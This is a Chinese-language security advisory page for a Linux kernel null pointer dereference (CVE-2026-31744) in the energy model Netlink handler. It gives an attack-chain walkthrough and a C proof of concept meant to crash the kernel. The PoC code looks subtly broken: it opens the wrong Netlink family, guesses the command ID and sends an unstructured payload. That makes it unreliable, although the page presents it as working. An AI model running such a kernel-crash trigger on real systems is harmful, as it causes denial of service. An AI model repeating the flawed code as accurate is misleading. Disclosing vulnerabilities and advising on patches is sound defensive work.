IPBUF安全漏洞报告
English
CVE-2026-31744 CVSS 5.5 中危

CVE-2026-31744 Linux内核空指针解引用漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31744
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel空指针解引用拒绝服务本地漏洞能源模型

漏洞概述

Linux内核的能源模型(EM)组件中存在一个空指针解引用漏洞。该漏洞源于`dev_energymodel_nl_get_perf_domains_doit`函数在调用`em_perf_domain_get_by_id`获取性能域时,未对返回值进行NULL检查。当攻击者通过Netlink接口传递一个不存在的性能域ID时,函数返回NULL,随后`__em_nl_get_pd_size`函数尝试解引用该NULL指针访问`cpus`字段,导致内核崩溃或拒绝服务。

技术细节

漏洞位于Linux内核的电源管理子系统。Netlink处理函数`dev_energymodel_nl_get_perf_domains_doit`用于处理用户空间请求获取性能域信息。该函数调用`em_perf_domain_get_by_id(id)`查找对应的结构体指针。代码逻辑缺少对返回指针的校验,直接将其传递给`__em_nl_get_pd_size()`。在`__em_nl_get_pd_size()`内部,代码执行了类似`pd->cpus`的操作(访问偏移0x30)。如果`id`无效导致`pd`为NULL,此操作将触发内核页错误,造成系统崩溃。攻击者需具备本地低权限(PR:L)即可触发此漏洞,无需用户交互。

攻击链分析

STEP 1
1. 本地访问
攻击者需要在目标系统上拥有低权限账号。
STEP 2
2. 构造恶意消息
攻击者编写程序,通过Netlink接口构造包含无效或不存在的性能域ID的请求消息。
STEP 3
3. 发送请求
攻击者将构造好的Netlink消息发送给内核的`dev_energymodel_nl_get_perf_domains_doit`处理函数。
STEP 4
4. 触发漏洞
内核在处理请求时,调用`em_perf_domain_get_by_id`返回NULL,但未做检查直接解引用,导致内核崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // PoC for CVE-2026-31744 // Trigger NULL pointer dereference in dev_energymodel_nl_get_perf_domains_doit #define NETLINK_ENERGY_MODEL 31 // Placeholder, actual family ID may vary int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; struct msghdr msg; // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); if (sock_fd < 0) { perror("socket"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Allocate message nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(1024)); memset(nlh, 0, NLMSG_SPACE(1024)); nlh->nlmsg_len = NLMSG_SPACE(1024); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; // Assume command ID for get_perf_domains is 1 or similar nlh->nlmsg_type = 1; // Payload: Invalid Perf Domain ID (e.g., 0xFFFFFFFF) // The exact structure depends on the specific Netlink attribute parsing // Here we simulate sending an invalid ID. uint32_t invalid_id = 0xFFFFFFFF; memcpy(NLMSG_DATA(nlh), &invalid_id, sizeof(invalid_id)); iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("Sending payload to trigger NULL pointer dereference...\n"); sendmsg(sock_fd, &msg, 0); printf("Check system logs for kernel panic/ Oops.\n"); close(sock_fd); free(nlh); return 0; }

影响范围

Linux Kernel(具体受影响版本请参考Git补丁链接)

防御指南

临时缓解措施
建议尽快应用官方发布的内核补丁,修复`dev_energymodel_nl_get_perf_domains_doit`函数中的空指针检查逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表